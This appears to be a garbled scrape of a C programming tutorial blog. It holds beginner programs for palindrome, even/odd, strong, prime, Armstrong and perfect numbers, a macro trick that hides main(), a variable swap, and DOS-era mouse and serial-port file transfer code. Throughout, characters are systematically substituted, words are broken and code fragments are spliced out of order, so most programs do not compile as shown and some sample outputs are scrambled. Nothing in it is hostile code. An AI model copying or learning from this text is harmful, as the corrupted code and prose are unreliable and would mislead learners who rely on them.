*oid main() { int len"th%i%>%fla"=0; char str[maJ]; clrscr(); printf("9n nter 'trin" # D "); scanf("$s"%str); len"th=strlen(str); for(i=0%>=len"thD1;i<(len"thR4);i,,%>DD) { if(str[i]7=str[>]) { fla"=1; /rea=; if(fla"==1) printf("9n$s 'trin" is not Ealindrom"%str); else printf("9n$s 'trin" is Ealindrom"%str); "etch(); (ode 6. #include<stdio.h> int main(){ char str[100]; int i=0%>=D1%fla"=0; printf(" nter a strin"# "); scanf("$s"%str); +hile(str[,,>]7=8908); >DD; +hile(i<>) if(str[i,,] 7= str[>DD]){ fla"=1; /rea=; if(fla" == 0)

printf("Ghe strin" is a palindrome"); else printf("Ghe strin" is not a palindrome"); return 0; *o comments+ 2ategory + Program

$he = the gi"en number is palindrome number or not using program


"efinition of Palindrome palindrome number3 number or hat is

& num/er is called palindrome num/er if it is remain same +hen its di"its are re*ersed. Por eJample 141 is palindrome num/er. Shen +e +ill re*erse its di"it it +ill remain same num/er i.e. 141 Palindrome numbers e!amples# 0% 1% 4% 6% 2% 3% 1% L% 5% 0% 11% 44% 66% 22% 33% 11% LL% 55% 00% 101% 111% 141% 161% 121% 131% 111% 1L1% 151% 101 etc.

(ode 1#
1. ap to chec5 a number is palindrome 4. C program to find whether a number is palindrome or not #include<stdio.h> int main(){ int num%r%sum=0%temp; printf(" nter a num/er# "); scanf("$d"%<num); temp=num; +hile(num){ r=num$10; num=numR10; sum=sumB10,r; if(temp==sum) printf("$d is a palindrome"%temp);

else

'ample output# nter a num/er# 161 161 is a palindrome (ode 4#

printf("$d is not a palindrome"%temp); return 0;

1. rite a c program for palindrome 4. C program to find palindrome of a number 6. Palindrome number in c language #include<stdio.h> int main(){ int num%r%sum%temp; int min%maJ; printf(" nter the minimum ran"e# "); scanf("$d"%<min); printf(" nter the maJimum ran"e# "); scanf("$d"%<maJ); printf("Ealindrome num/ers in "i*en ran"e are# "); for(num=min;num<=maJ;num,,){ temp=num; sum=0; +hile(temp){ r=temp$10; temp=tempR10; sum=sumB10,r; if(num==sum) printf("$d "%num); return 0; 'ample output# nter the minimum ran"e# 1 nter the maJimum ran"e# 30

Ealindrome num/ers in "i*en ran"e are# 1 4 6 2 3 1 L 5 0 11 44 66 22 (ode 6# 1. How to chec5 if a number is a palindrome using forloop #include<stdio.h> int main(){ int num%r%sum=0%temp; printf(" nter a num/er# "); scanf("$d"%<num); for(temp=num;num7=0;num=numR10){ r=num$10; sum=sumB10,r; if(temp==sum) printf("$d is a palindrome"%temp); else printf("$d is not a palindrome"%temp); return 0; 'ample output# nter a num/er# 1441 1441 is a palindrome (ode 2# 1. C program to chec5 if a number is palindrome using recursion #include<stdio.h> int chec=Ealindrome(int); int main(){ int num%sum; printf(" nter a num/er# "); scanf("$d"%<num); sum = chec=Ealindrome(num); if(num==sum) printf("$d is a palindrome"%num); else

printf("$d is not a palindrome"%num); return 0; int chec=Ealindrome(int num){ static int sum=0%r; if(num7=0){ r=num$10; sum=sumB10,r; chec=Ealindrome(numR10); return sum; 'ample output# nter a num/er# 43 43 is not a palindrome
*o comments+ 2ategory + Program

$ program for odd or e"en number


Algorithm:

Ium/er is called e*en num/er if it is di*isi/le /! t+o other+ise odd. Jample of e*en num/ers# 0%4%2%5%0%10 etc. Jample of odd num/ers# 1% 6%3%L%0 etc. (ode 1# 1. C program to chec5 even or odd 4. C determine odd or even 6. How to chec5 odd number in c 2. How to determine odd or even in c 3. C even odd test #include<stdio.h> int main(){ int num/er; printf(" nter an! inte"er# "); scanf("$d"%<num/er); if(num/er $ 4 ==0) printf("$d is e*en num/er."%num/er);

else

printf("$d is odd num/er."%num/er);

return 0; 'ample output# nter an! inte"er# 3 3 is odd num/er. (ode 4# 1. "isplay odd numbers in c 4. How to print odd numbers in c #include<stdio.h> int main(){ int num/er; int min%maJ; printf(" nter the minimum ran"e# "); scanf("$d"%<min); printf(" nter the maJimum ran"e# "); scanf("$d"%<maJ); printf(".dd num/ers in "i*en ran"e are# "); for(num/er = min;num/er <= maJ; num/er,,) if(num/er $ 4 7=0) printf("$d "%num/er); return 0; 'ample output# nter the minimum ran"e# 1 nter the maJimum ran"e# 40 .dd num/ers in "i*en ran"es are# 1 6 3 L 0 11 16 13 1L 10 (ode 6# 1. -ven and odd numbers program in c 4. C program to find even or odd #include<stdio.h> int main(){

int num/er; int min%maJ; printf(" nter the minimum ran"e# "); scanf("$d"%<min); printf(" nter the maJimum ran"e# "); scanf("$d"%<maJ); printf(".dd num/ers in "i*en ran"e are# "); for(num/er = min;num/er <= maJ; num/er,,) if(num/er $ 4 7=0) printf("$d "%num/er); printf("9n *en num/ers in "i*en ran"e are# "); for(num/er = min;num/er <= maJ; num/er,,) if(num/er $ 4 ==0) printf("$d "%num/er); 'ample output# nter the minimum ran"e# 1 nter the maJimum ran"e# 40 .dd num/ers in "i*en ran"es are# 1 6 3 L 0 11 16 13 1L 10 *en num/ers in "i*en ran"es are# 4 2 1 5 10 14 12 11 15 40 (ode 2# 1. Sum of odd numbers in c #include<stdio.h> int main(){ int num/er; int min%maJ; lon" sum =0; printf(" nter the minimum ran"e# "); scanf("$d"%<min); printf(" nter the maJimum ran"e# "); scanf("$d"%<maJ); for(num/er = min;num/er <= maJ; num/er,,) if(num/er $ 4 7=0) return 0;

sum = sum , num/er; printf("'um of odd num/ers in "i*en ran"e is# $ld"%sum); 'ample output# nter the minimum ran"e# 1 nter the maJimum ran"e# 100 'um of odd num/ers in "i*en ran"e is# 4300 (ode 3# 1. Sum of odd and even numbers c program #include<stdio.h> int main(){ int num/er; int min%maJ; lon" oddUsum =0%e*enUsum = 0; printf(" nter the minimum ran"e# "); scanf("$d"%<min); printf(" nter the maJimum ran"e# "); scanf("$d"%<maJ); for(num/er = min;num/er <= maJ; num/er,,) if(num/er $ 4 7= 0) oddUsum = oddUsum , num/er; else e*enUsum = e*enUsum , num/er; printf("'um of e*en num/ers in "i*en ran"e is# $ld9n"%e*enUsum); printf("'um of odd num/ers in "i*en ran"e is# $ld"%oddUsum); 'ample output# nter the minimum ran"e# 1 nter the maJimum ran"e# 10 'um of e*en num/ers in "i*en ran"e is# 60 'um of odd num/ers in "i*en ran"e is# 43 return 0; return 0;

'rite a program to he = gi"en number is strong number or not


"efinition & num/er is factorial of Por eJample# 17 , 27 , 37 (ode 1# 1. rite a c program to chec5 whether a number is strong or not #include<stdio.h> int main(){ int num%i%f%r%sum=0%temp; printf(" nter a num/er# "); scanf("$d"%<num); temp=num; +hile(num){ i=1%f=1; r=num$10; +hile(i<=r){ f=fBi; i,,; sum=sum,f; num=numR10; if(sum==temp) printf("$d is a stron" num/er"%temp); else printf("$d is not a stron" num/er"%temp); return 0; 'ample output# of strong number:

called stron" num/er if sum of the its di"it is e;ual to num/er itself. 123 since = 1 , 42 , 140 = 123

nter a num/er# 123 123 is a stron" num/er (ode 4# 1. C program for strong number 4. Strong number program in c #include<stdio.h> int main(){ int num%i%f%r%sum%temp; int min%maJ; printf(" nter minimum ran"e# "); scanf("$d"%<min); printf(" nter maJimum ran"e# "); scanf("$d"%<maJ); printf("'tron" num/ers in "i*en ran"e are# "); for(num=min; num <= maJ; num,,){ temp = num; sum=0; +hile(temp){ i=1; f=1; r=temp$10; +hile(i<=r){ f=fBi; i,,; sum=sum,f; temp=tempR10; if(sum==num) printf("$d "%num);

'ample output# nter minimum ran"e# 100 nter maJimum ran"e# 100000 'tron" num/ers in "i*en ran"e are# 123 20353
2ategory + Program

return 0;

C#ecu given number is prime number or not using c program mefinition of prime number: 5 natura& number greater t#an one #as not any ot#er divisors ewcept 1 and itse&f. >n ot#er %ord %e can say %#ic# #as on&y t%o divisors 1 and number itse&f. Gor ewamp&e: < J#eir divisors are 1 and <. Dote: ! is on&y even prime number. 3ogic for prime number in c e %i&& taue a &oop and divide number from ! to number0!. >f t#e number is not divisib&e by any of t#e numbers t#en %e %i&& print it as prime number. -wamp&e of prime numbers : !, ", <, =, 11, 1", 1=, 1A, !", !A, "1, "=, $1, $", $=, <", <A, @1, @=, =1, =", =A, :", :A, A=, 1,1, 1,", 1,=, 1,A, 11", 1!=, 1"1, 1"=, 1"A, 1$A, 1<1, 1<=, 1@", 1@=, 1=", 1=A, 1:1, 1A1, 1A", 1A=, 1AA etc. Code 1: 1. C program to determine prime number !. metermining if a number is prime in c ". C program to find given number is prime or not 'inc&ude(stdio.#) int main()* int num,i,count+,; printf("-nter a number: "); scanf("%d",&num); for(i+!;i(+num0!;i//)* if(num%i++,)* count//; breau; 1 1 if(count++, && numC+ 1) printf("%d is a prime number",num); e&se printf("%d is not a prime number",num); return ,; 1 2amp&e output: -nter a number: < < is a prime number

Code !: 1. C program for prime numbers bet%een 1 to 1,, !. Bo% to find prime numbers from 1 to 1,, in c ". Bo% to print prime numbers from 1 to 1,, in c 'inc&ude(stdio.#) int main()* int num,i,count; for(num + 1;num(+1,,;num//)* count + ,; for(i+!;i(+num0!;i//)* if(num%i++,)* count//; breau; 1 1 if(count++, && numC+ 1) printf("%d ",num); 1 return ,; 1 Iutput: ! " < = 11 1" 1= 1A !" !A "1 "= $1 $" $= <" <A @1 @= =1 =" =A :" :A A= Code ": 1. C program for prime numbers bet%een 1 to n !. C program to find prime numbers up to n ". C program to &ist prime numbers $. rite a c program to generate n prime numbers <. C program to find n prime numbers 'inc&ude(stdio.#) int main()* int num,i,count,n; printf("-nter maw range: "); scanf("%d",&n); for(num + 1;num(+n;num//)* count + ,; for(i+!;i(+num0!;i//)* if(num%i++,)* count//; breau; 1

1 if(count++, && numC+ 1) printf("%d ",num); 1 return ,; 1 2amp&e output: -nter maw range: <, ! " < = 11 1" 1= 1A !" !A "1 "= $1 $" $= Code $: 1. C program to find prime numbers using %#i&e &oop !. ap to find prime numbers in c ". rite a c program to generate prime number $. Bo% to get prime numbers in c 'inc&ude(stdio.#) int main()* int num,i,count,min,maw; printf("-nter min range: "); scanf("%d",&min); printf("-nter maw range: "); scanf("%d",&maw); num + min; %#i&e(num(+maw)* count + ,; i+!; %#i&e(i(+num0!)* if(num%i++,)* count//; breau; 1 i//; 1 if(count++, && numC+ 1) printf("%d ",num); num//; 1 return ,; 1 2amp&e output: -nter min range: <,

-nter maw range: 1,, <" <A @1 @= =1 =" =A :" :A A= Code <: 1. Bo% to find out prime numbers in c programming !. misp&ay prime numbers in c ". C program to find prime numbers bet%een t%o numbers $. C code to disp&ay prime numbers %it#in a range 'inc&ude(stdio.#) int main()* int num,i,count,min,maw; printf("-nter min range: "); scanf("%d",&min); printf("-nter maw range: "); scanf("%d",&maw); for(num + min;num(+maw;num//)* count + ,; for(i+!;i(+num0!;i//)* if(num%i++,)* count//; breau; 1 1 if(count++, && numC+ 1) printf("%d ",num); 1 return ,; 1 2amp&e output: -nter min range: 1, -nter maw range: <, 11 1" 1= 1A !" !A "1 "= $1 $" $= Code @: 1. 2um of prime numbers from 1 to 1,, in c 'inc&ude(stdio.#) int main()* int num,i,count,sum+,; for(num + 1;num(+1,,;num//)* count + ,; for(i+!;i(+num0!;i//)* if(num%i++,)*

count//; breau; 1 1 if(count++, && numC+ 1) sum + sum / num; 1 printf("2um of prime numbers is: %d ",sum); return ,; 1 Iutput: 2um of prime numbers is: 1,@, Code =: 1. C program to find sum of prime numbers 'inc&ude(stdio.#) int main()* int num,i,count,min,maw,sum+,; printf("-nter min range: "); scanf("%d",&min); printf("-nter maw range: "); scanf("%d",&maw); for(num + min;num(+maw;num//)* count + ,; for(i+!;i(+num0!;i//)* if(num%i++,)* count//; breau; 1 1 if(count++, && numC+ 1) sum + sum / num; 1 printf("2um of prime numbers is: %d ",sum); return ,; 1 2amp&e output: -nter min range: <, -nter maw range: 1,,

2um of prime numbers is: ="! Code :: 1. ER>DJ ER>4- DM4l-R2 l-J --D 1?",, M2>DK lR-5o 5Dm CIDJ>DM- >D C 'inc&ude (mat#.#) 'inc&ude (stdio.#) main()* int i, 9; i + 1; %#i&e ( i ( ",, )* 9 + !; %#i&e ( 9 ( svrt(i) )* if ( i % 9 ++ , ) breau; e&se* //9; continue; 1 1 if ( 9 ) svrt(i) ) printf("%dNt", i); //i; 1 return ,; 1 #ttp:00ctec#notips.b&ogspot.in0searc#0&abe&0ErogramFupdated?maw+!,1!?,$? 11J1::$!:,,%!l,<:",&maw?resu&ts+!,&start+1$$&by?date+fa&se C#ecu t#e given number is armstrong number or not using c program mefinition of 5rmstrong number or %#at is an 5rmstrong number: mefinition according to c programming point of vie%: J#ose numbers %#ic# sum of t#e cube of its digits is evua& to t#at number are uno%n as 5rmstrong numbers. Gor ewamp&e 1<" since 1s" / <s" / "s" + 1/ 1!< / A +1<" It#er 5rmstrong numbers: "=,,"=1,$,= etc. >n genera& definition: J#ose numbers %#ic# sum of its digits to po%er of number of its digits is evua& to t#at number are uno%n as 5rmstrong numbers.

-wamp&e 1: 1<" Jota& digits in 1<" is " 5nd 1s" / <s" / "s" + 1 / 1!< / != + 1<" -wamp&e !: 1@"$ Jota& digits in 1@"$ is $ 5nd 1s$ / @s$ / "s$ /$s$ + 1 / 1!A@ / :1 / @$ +1@"$ -wamp&es of 5rmstrong numbers: 1, !, ", $, <, @, =, :, A, 1<", "=,, "=1, $,=, 1@"$, :!,:, A$=$, <$=$:, A!=!=, A",:$, <$::"$, 1=$1=!< Code 1: 1. arp to c#ecu a number is 5rmstrong !. C program to c#ecu %#et#er a number is 5rmstrong or not ". 2imp&e c program for 5rmstrong number $. 5rmstrong number in c %it# output 'inc&ude(stdio.#) int main()* int num,r,sum+,,temp; printf("-nter a number: "); scanf("%d",&num); temp+num; %#i&e(numC+,)* r+num%1,; num+num01,; sum+sum/(r.r.r); 1 if(sum++temp) printf("%d is an 5rmstrong number",temp); e&se printf("%d is not an 5rmstrong number",temp); return ,; 1 2amp&e output: -nter a number: 1<" 1<" is an 5rmstrong number J#e time comp&ewity of a program t#at determines 5rmstrong number is: I (Dumber of digits) Code !: 1. rite a c program for 5rmstrong number !. C program for 5rmstrong number generation ". Bo% to find 5rmstrong number in c $. Code for 5rmstrong number in c 'inc&ude(stdio.#)

int main()* int num,r,sum,temp; int min,maw; printf("-nter t#e minimum range: "); scanf("%d",&min); printf("-nter t#e mawimum range: "); scanf("%d",&maw); printf("5rmstrong numbers in given range are: "); for(num+min;num(+maw;num//)* temp+num; sum + ,; %#i&e(tempC+,)* r+temp%1,; temp+temp01,; sum+sum/(r.r.r); 1 if(sum++num) printf("%d ",num); 1 return ,; 1 2amp&e output: -nter t#e minimum range: 1 -nter t#e mawimum range: !,, 5rmstrong numbers in given range are: 1 1<" Code ": 1. 5rmstrong number in c using for &oop 'inc&ude(stdio.#) int main()* int num,r,sum+,,temp; printf("-nter a number: "); scanf("%d",&num); for(temp+num;numC+,;num+num01,)* r+num%1,; sum+sum/(r.r.r); 1 if(sum++temp) printf("%d is an 5rmstrong number",temp); e&se printf("%d is not an 5rmstrong number",temp); return ,; 1 2amp&e output: -nter a number: "=, "=, is an 5rmstrong number 3ogic of 5rmstrong number in c

Code $: 1. C program to print 5rmstrong numbers from 1 to <,, !. C program for finding 5rmstrong numbers 'inc&ude(stdio.#) int main()* int num,r,sum,temp; for(num+1;num(+<,,;num//)* temp+num; sum + ,; %#i&e(tempC+,)* r+temp%1,; temp+temp01,; sum+sum/(r.r.r); 1 if(sum++num) printf("%d ",num); 1 return ,; 1 Iutput: 1 1<" "=, "=1 $,= Do comments: Category : Erogram riting C 0 C// Erogram it#out 5 main() Gunction J#is is &ogica& tricu. %#o are una%are of it, can &earn t#is tricu. 'inc&ude(stdio.#) 'inc&ude(conio.#) 'define decode(s,t,u,m,p,e,d) m''s''u''t 'define begin decode(a,n,i,m,a,t,e) void begin() * c&rscr(); printf("NnBe&&o CCC oaus#a& Eate&."); getc#(); 1 -wp&anation : Bere > am using pre?processor directive 'define %it# arguments to give an impression t#at t#e program runs %it#out main(). lut in rea&ity it runs %it# a #idden main(). J#e '' operator is ca&&ed t#e touen pasting or touen merging operator. J#at is #o%, > can merge t%o or more c#aracters %it# it. 'define decode(s,t,u,m,p,e,d) m''s''u''t

J#e macro decode(s,t,u,m,p,e,d) is being ewpanded as msut (J#e '' operator merges m,s,u & t into msut). J#e &ogic is %#en > pass (s,t,u,m,p,e,d) as argument it merges t#e $t#,1st,"rd & t#e !nd c#aracters. 'define begin decode(a,n,i,m,a,t,e) Bere t#e pre?processor rep&aces t#e macro begin %it# t#e ewpansion decode(a,n,i,m,a,t,e). 5ccording to t#e macro definition in t#e previous &ine t#e argument must be ewpanded so t#at t#e $t#, 1st, "rd & t#e !nd c#aracters must be merged. >n t#e argument (a,n,i,m,a,t,e) $t#,1st,"rd & t#e !nd c#aracters are m,a,i & n. 2o t#e t#ird &ine void begin is rep&aced by void main by t#e pre?processor before t#e program is passed on for t#e compi&er. Do comments: Category : Erogram Gind out t#e perfect number using c program mefinition of perfect number or #at is perfect numberF

Eerfect number is a positive number %#ic# sum of a&& positive divisors ewc&uding t#at number is evua& to t#at number. Gor ewamp&e @ is perfect number since divisor of @ are 1, ! and ". 2um of its divisor is 1 / !/ " +@ Dote: @ is t#e sma&&est perfect number. Dewt perfect number is !: since 1/ ! / $ / = / 1$ + !: 2ome more perfect numbers: $A@, :1!: Code 1: 1. C program to c#ecu perfect number 'inc&ude(stdio.#) int main()* int n,i+1,sum+,; printf("-nter a number: "); scanf("%d",&n); %#i&e(i(n)* if(n%i++,) sum+sum/i; i//; 1 if(sum++n) printf("%d is a perfect number",i);

e&se printf("%d is not a perfect number",i); return ,; 1 2amp&e output: -nter a number: @ @ is a perfect number Code !: 1. C program to find perfect numbers !. C perfect number code ". Eerfect number program in c &anguage 'inc&ude(stdio.#) int main()* int n,i,sum; int min,maw; printf("-nter t#e minimum range: "); scanf("%d",&min); printf("-nter t#e mawimum range: "); scanf("%d",&maw); printf("Eerfect numbers in given range is: "); for(n+min;n(+maw;n//)* i+1; sum + ,; %#i&e(i(n)* if(n%i++,) sum+sum/i; i//; 1 if(sum++n) printf("%d ",n); 1 return ,; 1 2amp&e output: -nter t#e minimum range: 1 -nter t#e mawimum range: !, Eerfect numbers in given range is: @ Code ": ". C program to print perfect numbers from 1 to 1,, 'inc&ude(stdio.#) int main()* int n,i,sum;

printf("Eerfect numbers are: "); for(n+1;n(+1,,;n//)* i+1; sum + ,; %#i&e(i(n)* if(n%i++,) sum+sum/i; i//; 1 if(sum++n) printf("%d ",n); 1 return ,; 1 Iutput: Eerfect numbers are: @ !: Do comments: Category : Erogram puestion %it# ans code of Jec# R5C- !,1! decoding event of oa&o& >nstitute of 4anagement (o>4). puestion : E&ease do Go&&o%ing.

5ns : 'inc&ude(stdio.#) 'inc&ude(conio.#) void main() * int no+,,r,c,9+",u+,,&+,,i+1; c&rscr(); printf("Nn -nter Do : ? "); scanf("%d",&no); for(;i(+no;9/+",u/+") * if(u)+@) &/+"; for(r+!@/&;r)+!"?u;r?+") * if(i(+no) *

gotowy("A?u,r); printf("%d",i//); 1 1 for(c+$!?u;c(+$!/u;c/+") * if(i(+no) * gotowy(c,!"?u); printf("%d",i//); 1 1 for(r+!@?u;r(+!@/9;r/+") * if(i(+no) * gotowy($!/u,r); printf("%d",i//); 1 1 for(c+"A/u;c)+"A?9;c?+") * if(i(+no) * gotowy(c,!A/u); printf("%d",i//); 1 1 1 tewtco&or(R-m/l3>Do); gotowy(1,$A); cprintf("Eress any uey to -wit ...."); gotowy(<A,$A); cprintf("4ade ly oaus#a& Eate&."); getc#(); 1 Iutput :

Do comments:

Category : Erogram rite a program to s%ap a t%o va&ue of variab&e 0. rite a program to s%ap a t%o va&ue of variab&e %it# t#e fo&&o%ing revuirement. 1) !) ") $) <) @) =) .0 'inc&ude(stdio.#) 'inc&ude(conio.#) void main() * int a,b; c&rscr(); printf("Nn E&ease -nter Girst Dumber : ? "); scanf("%d",&a); printf("Nn E&ease -nter 2econd Dumber : ? "); scanf("%d",&b); as+bs+as+b; printf("NnNn Girst Dumber : ? %d",a); printf("Nn 2econd Dumber : ? %d",b); getc#(); 1 Do comments: Category : Erogram mra% a 2 52J>o on center on t#e screen %it# b&inu effect. 0. rite a program to dra% a 2 52J>o on center of t#e screen %it# b&inu effect. .0 'inc&ude(stdio.#) 'inc&ude(conio.#) void main() * int i+,; c&rscr(); it#out using t#ird variab&e it#out using 5rit#metic operator it#out using Re&ationa& operator it#out using Conditiona& operator it#out using Eointer variab&e it#out using 5rray it#out using Reference Lariab&e

tewtco&or(R-m/l3>Do); for(i+:;i(!<;i//) * gotowy(!,,i); cprintf("."); gotowy($,,i); cprintf("."); if(i(!") * gotowy(!,/!,i); cprintf("."); gotowy($,/!,i/!); cprintf("."); 1 1 for(i+!";i(+$,;i//) * if(i("A) * gotowy($,,i); cprintf("."); gotowy(@,,i/!); cprintf("."); 1 gotowy($,/!,i); cprintf("."); gotowy(@,/!,i); cprintf("."); 1 for(i+!,;i($!;i//) * gotowy(i,!<); cprintf("."); gotowy(i,$,); cprintf(".");

if(i($,) * gotowy(i/!,!<?!); cprintf("."); gotowy(i,$,?!); cprintf("."); 1 1 for(i+$,;i(@!;i//) * if(i(@,) * gotowy(i/!,1,); cprintf("."); gotowy(i,!<); cprintf("."); 1 gotowy(i,1,?!); cprintf("."); gotowy(i,!<?!); cprintf("."); 1 getc#(); 1 Iutput :

Do comments: Category : Erogram Jo %rite a c pgm to add t%o nos %it#out using airt#metic operator. 'inc&ude (stdio.#) 'inc&ude (conio.#) void main() * int m,n,i; c&rscr(); printf("-nter t%o nos : Nn");

scanf("%d%d",&n,&m); for(i+1;i(+m;i//) * n//; 1 printf("Nn 5ddition of t%o no is : ? %d",n); getc#(); 1 Do comments: Category : Erogram C program to print #e&&o %or&d %it#out using semico&on. C program %it#out using semico&on 2o&ution: 1 'inc&ude(stdio.#) void main()* if(printf("Be&&o %or&d"))* 1 1 2o&ution: ! 'inc&ude(stdio.#) void main()* %#i&e(Cprintf("Be&&o %or&d"))* 1 1 2o&ution: " 'inc&ude(stdio.#) void main()* s%itc#(printf("Be&&o %or&d"))* 1 1 2#o%ing posts %it# &abe& Erogram. 2#o% a&& posts fi&e transfer bet%een t%o computers using communication ports 'inc&ude(stdio.#) 'inc&ude(grap#ics.#) 'inc&ude(dos.#) st(); void baudset(&ong); void comparm(int,int,int); int portHaddress; union R-K2 i,o;

0.

4IM2-

IRo

.0

initmouse() * i.w.aw+,; int:@(,w"",&i,&o); return(o.w.aw); 1 void s#o%mouseptr() * i.w.aw+1; int:@(,w"",&i,&o); 1 void restrictmouseptr(int w1,int y1,int w!,int y!) * i.w.aw+=; i.w.cw+w1; i.w.dw+w!; int:@(,w"",&i,&o); i.w.aw+:; i.w.cw+y1; i.w.dw+y!; int:@(,w"",&i,&o); 1 void getmousepos(int .button,int .w,int .y) * i.w.aw+"; int:@(,w"",&i,&o); .button+o.w.bw; .w+o.w.cw; .y+o.w.dw; 1 0. -nd Bere .0

void main()

* int gd+m-J-CJ,gm,maww,mawy,w,y,button,ew+1,c,v+1,run+1; G>3- .f; c#ar c#r; c#ar .fname; int resu&t,status,c#oice,port; unsigned int fstat,mstat,&stat; %#i&e(1) * initgrap#(&gd,&gm,"c:NNtcNNbgi "); c&eardevice(); maww+getmaww(); mawy+getmawy(); setbuco&or(A); if(run++1) * gotowy("!,1); printf("EIRJ >D5CJ>L-"); run//; 1 e&se * gotowy("!,1); printf("EIRJ 5CJ>L5J-m"); 1 c#oice+,; rectang&e(,,!,,maww,mawy); setvie%port(1,<,maww?1,mawy?1,1); if(initmouse()++,) * c&osegrap#(); restorecrtmode(); outtewtwy(1,,,1,,,"mouse driver not &oaded"); ewit(1); 1 restrictmouseptr(1,!,,maww?1,mawy?1); s#o%mouseptr(); setco&or(@); outtewtwy(11<,",,"ERIKR54 JI JR5D2G-R G>3-2 l-J --D J I CI4EMJ-R2"); setco&or("); outtewtwy($",,$<,"ver 1., "); setco&or(1$); outtewtwy(1=,,$<,"o5M2B53 E5J-3");

setco&or(1,); outtewtwy(!,,,1,,,"1 : 2-Dm G>3-"); outtewtwy(!,,,1!,,"! : R-C>-L- G>3-"); outtewtwy(!,,,1$,,"" : -6>J"); outtewtwy(!,,,1=<,"enter your c#oice (1,! or ")::"); rectang&e(1A<,A<,!1,,11,); rectang&e(1A<,11<,!1,,1",); rectang&e(1A<,1"<,!1,,1<,); setco&or(1"); outtewtwy(!,,$<,,"ER-22 jG1j JI 5CJ>L5J- JB- EIRJ2"); setco&or(A); %#i&e(v++1) * if(ub#it()) * c#r+getc#(); if(c#r++,) * c#r+getc#(); c+(int)c#r; if(c++<A) * gotowy("1,1); printf("EIRJ 5CJ>L5J-m"); v+!; breau; 1 1 1 1 %#i&e(ew++1) * getmousepos(&button,&w,&y); gotowy(<,1); (button & 1)++ 1 F printf("mI D"):printf("ME"); gotowy(!,,1); (button & !) ++ ! F printf("mI D"):printf("ME"); gotowy(@<,1); printf("6+%,"d q+%,"d",w,y); if((button & 1)++1) * if((w)+1A< && w(+!1,) && (y)+A< && y(+11,)) *

c#oice+1; 1 if((w)+1A< && w(+!1,) && (y)+11< && y(+ 1",)) * c#oice+!; 1 if((w)+1A< && w(+!1,) && (y)+1"< && y(+1<,)) * c#oice+"; 1 1 if(c#oice++1 ;; c#oice++! ;; c#oice++") goto sos; if(ub#it()) * goto sob; 1 1 ff&us#(stdin); sob: gotowy(@,,1!); scanf("%d",&c#oice); sos: s%itc#(c#oice) * case 1: * setco&or(1!); outtewtwy(1,,!,<,"se&ect port (1: com1 !: com!) ::"); rectang&e($=,,!,,,$:<,!1<); rectang&e(<1,,!,,,<!<,!1<); outtewtwy($=$,!,","1"); outtewtwy(<1$,!,","!"); gotowy(<,,1$); scanf("%d",&port); if(port++1) portHaddress+,w"G:; e&se portHaddress+,w!G:; baudset((&ong)!$,,); comparm(,,1,:); outport(portHaddress/$,1;!); outtewtwy(1,,!$,,"enter t#e name of fi&e to be sent::"); gotowy(<,,1@); scanf("%s",fname); f+fopen(fname,"r"); if(f++DM33) * setco&or($);

outtewtwy(1,,",,,"... fi&e do not ewist ..."); setco&or(@); outtewtwy(1,,"!,,"#it any uey to continue........"); getc#(); breau; 1 c&osegrap#(); restorecrtmode(); c&rscr(); tewtco&or(!); for(;;) * if(ub#it()) * if(getc#()++!=) breau; 1 &stat+inportb(portHaddress/<); if(C(&stat & "!)) continue; e&se * c#r+fgetc(f); 1 if(c#r++-IG) * cprintf("G>3- JR5D24>JJ-m"); outportb(portHaddress,-IG); getc#(); breau; 1 outportb(portHaddress,c#r); putc#ar(c#r); 1 fc&ose(f); breau; 1 case !: * setco&or(1!); outtewtwy(1,,!,<,"se&ect port (1: com1 !: com!) ::"); gotowy(<,,1$); scanf("%d",&port); if(port++1) portHaddress+,w"G:;

e&se portHaddress+,w!G:; baudset((&ong)!$,,); comparm(,,1,:); outportb(portHaddress/$,1;!); tewtco&or($); outtewtwy(1,,!$,,"save as fi&e name::"); gotowy(<,,1@); scanf("%1<s",&fname); f+fopen(fname,"%"); if(f++DM33) * setco&or($); outtewtwy(1,,",,,"... cannot open fi&e ..."); breau; 1 c&osegrap#(); restorecrtmode(); c&rscr(); tewtco&or($); cprintf("%aiting for i0p"); tewtco&or(=); cprintf("press esc for ewit"); gotowy(1,$); for(;;) * if(ub#it()) * if(getc#()++!=) breau; 1 fstat+inportb(portHaddress/<); if(fstat & !) cprintf("over run time error"); if(fstat & $) cprintf("parity error"); if(fstat & :) cprintf("framing error"); if(fstat & 1@) cprintf("breau recieved"); if(C(fstat & 1)) continue; c#r+inportb(portHaddress); if(c#r++-IG) *

tewtco&or(!); cprintf("G>3- R-C>-L-m"); ewit(,); 1 putc#ar(c#r); fputc(c#r,f); 1 outportb(portHaddress/$,,); fc&ose(f); breau; 1 case ": ewit(,); defau&t: sound(A,,); de&ay(1,,,,); nosound(); breau; 1 1 1 void baudset(&ong baudrate) * unsigned int divisor; unsigned c#ar &sb,msb; divisor+11<!,,10baudrate; msb+divisor)):; &sb+(divisor((:))):; outportb(portHaddress/",1!:); outportb(portHaddress,&sb); outportb(portHaddress/1,msb); 1 void comparm(int parity,int stop,int databit) * int parmbyte; parmbyte+databit?<; if(stop++!) parmbyte;+$; if(parityC+,) parmbyte;+:;

if(parity++!) parmbyte;+1@; outportb(portHaddress/",parmbyte); 1 Do comments: Category : Bard%are interaction t#roug# C, Erogram Reading 2eria& port 'inc&ude(stdio.#) 'inc&ude(conio.#) 'inc&ude(dos.#) void main() * c#ar data; int c#oice; c&rscr(); printf("-nter t#e c#oice to send or receive from CI41::"); scanf("%d",&c#oice); if(c#oice++1) * printf("-nter data to send::"); f&us#a&&(); scanf("%c",&data); outportb(,w,"f:,data); 1 e&se * data+inport(,w"f:); printf("reding from CI41::%d",data); 1 getc#(); 1 Do comments: Category : Bard%are interaction t#roug# C, Erogram >mp&ementation of 4IM2- -L-DJ 'inc&ude(stdio.#) 'inc&ude(grap#ics.#) 'inc&ude(dos.#)

